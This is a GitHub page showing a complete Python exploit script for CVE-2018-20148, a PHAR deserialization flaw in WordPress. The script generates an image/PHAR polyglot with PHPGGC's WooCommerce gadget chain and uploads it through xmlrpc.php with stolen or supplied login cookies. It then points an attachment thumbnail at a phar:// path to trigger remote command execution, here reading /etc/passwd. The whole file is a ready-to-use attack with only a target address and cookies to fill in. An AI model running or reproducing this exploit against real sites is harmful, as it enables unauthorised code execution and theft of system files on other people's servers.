-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathCVE-2018-20148_exploit.py
More file actions
executable file
·148 lines (125 loc) · 5.52 KB
/
CVE-2018-20148_exploit.py
File metadata and controls
executable file
·148 lines (125 loc) · 5.52 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
#!/usr/bin/env python3
import base64
import os
import re
import time
import requests
requests.packages.urllib3.disable_warnings()
# Put your target configuration in here
TARGET_URL = 'http://192.168.0.168'
COOKIES = {
'wordpress_232742f411a9c38542acacd5851c2661': 'COOKIE-VALUE-HERE',
'wordpress_logged_in_232742f411a9c38542acacd5851c2661': 'COOKIE-VALUE-HERE'
}
# Generate polyglot name based on timestamp
POLYGLOT_NAME = str(int(time.time()))
DELAY = 1.5
def create_polyglot(image_path: str, polyglot_path: str, chain: str, command: str):
if os.path.exists("phpggc"):
print('[+] PHPGGC found.')
else:
print('[i] PHPGGC not found. Cloning it...')
os.system('git clone https://github.com/ambionics/phpggc.git')
print('[i] Generating polyglot...')
time.sleep(DELAY)
exit_code = os.system("php -d'phar.readonly=0' phpggc/phpggc -pj '%s' -o '%s' %s system '%s'" % (
image_path, polyglot_path, chain, command))
if exit_code == 0:
print('[+] Generated polyglot\n')
def upload_file() -> dict:
print('[i] Uploading polyglot...')
time.sleep(DELAY)
headers = {
'Content-Type': 'text/xml'
}
with open('uploadFile.xml', 'r') as file:
xml_pattern = file.read().rstrip()
with open("hacker.jpg", "rb") as image_file:
base64encoded_bits = base64.b64encode(image_file.read())
xml = xml_pattern.replace('BASE64-DATA-HERE', base64encoded_bits.decode('utf-8')).replace('POLYGLOT-NAME-HERE', POLYGLOT_NAME)
resp = requests.post(TARGET_URL + '/xmlrpc.php', headers=headers, data=xml, verify=False, allow_redirects=False)
resp_body = resp.text
if resp.status_code == 200 and resp_body.find('attachment_id') != -1:
try:
id = re.search('<member><name>attachment_id</name><value><string>(.*)</string></value></member>',
resp_body).group(1)
# Get polyglot path relative to webroot, for example /wp-content/
polyglot_path = re.search('<member><name>link</name><value><string>http://[\w+\W]*/(wp-content/uploads/\d{4}/\d{2}/\d+\.jpg)</string></value></member>', resp_body).group(1)
print(f'[+] Uploaded polyglot - id = {id}, polyglot path = {polyglot_path}\n')
return {'id': id, 'polyglot_path': polyglot_path}
except RuntimeError:
print('Unknown error. Terminating program...')
exit()
else:
print('[-] Unknown error. Terminating program...')
exit()
def get_wpnonce(id: str) -> str:
print(f'[i] Getting _wpnonce value on id = {id}...')
time.sleep(DELAY)
resp = requests.get(TARGET_URL + f'/wp-admin/post.php?post={id}&action=edit', cookies=COOKIES, verify=False, allow_redirects=False)
if resp.status_code == 200:
resp_body = resp.text
indicator = '<input type="hidden" id="_wpnonce" name="_wpnonce" value="'
index = resp_body.index(indicator)
wpnonce = resp_body[index + len(indicator): index + len(indicator) + 10]
if wpnonce:
print(f'[+] Got _wpnonce value - _wpnonce = {wpnonce}\n')
return wpnonce
def edit_file(wpnonce: str, id: str):
print(f'[i] Editing file with id = {id}, _wpnonce = {wpnonce}...')
time.sleep(DELAY)
data = {
'_wpnonce': wpnonce,
'_wp_http_referer': f'/wp-admin/post.php?post={id}&action=edit',
'action': 'editpost',
'post_type': 'attachment',
'post_ID': id,
'file': 'D:\Directory'
}
try:
resp = requests.post(TARGET_URL + '/wp-admin/post.php', data=data, cookies=COOKIES, verify=False, allow_redirects=False)
if resp.status_code == 302 and resp.headers['Location'].endswith('message=4'):
print('[+] Edited file\n')
except RuntimeError:
print('[-] Something went wrong. Terminating program...')
exit()
def edit_thumb(wpnonce: str, id: str, polyglot_path: str):
print(f'[i] Editing thumnb with id = {id}, _wpnonce = {wpnonce}...')
time.sleep(DELAY)
data = {
'_wpnonce': wpnonce,
'_wp_http_referer': f'/wp-admin/post.php?post={id}&action=edit',
'action': 'editattachment',
'post_ID': id,
'thumb': 'phar://./' + polyglot_path
}
try:
resp = requests.post(TARGET_URL + '/wp-admin/post.php', data=data, cookies=COOKIES, verify=False, allow_redirects=False)
if resp.status_code == 302 and resp.headers['Location'].endswith('message=4'):
print('[+] Edited thumb\n')
except RuntimeError:
print('[-] Something went wrong. Terminating program...')
exit()
# Fire PHAR deserialization
def get_media_item(id: str):
print(f'[i] Exploiting PHAR deserialization via image with id = {id}...')
time.sleep(DELAY)
headers = {
'Content-Type': 'text/xml'
}
with open('getMediaItem.xml', 'r') as file:
xml_pattern = file.read().rstrip()
xml = xml_pattern.replace('INSERT-ID-HERE', id)
resp = requests.post(TARGET_URL + '/xmlrpc.php', headers=headers, data=xml, verify=False, allow_redirects=False)
output = re.search('([\w\W]*)</methodResponse>([\w\W]*)', resp.text).group(2)
if output:
print(output)
else:
print('[i] There is no output')
if __name__ == '__main__':
create_polyglot('image.jpg', 'hacker.jpg', 'WordPress/P/WooCommerce/RCE1', 'cat /etc/passwd')
dict_result = upload_file()
wpnonce = get_wpnonce(dict_result['id'])
edit_file(wpnonce, dict_result['id'])
edit_thumb(wpnonce, dict_result['id'], dict_result['polyglot_path'])
get_media_item(dict_result['id'])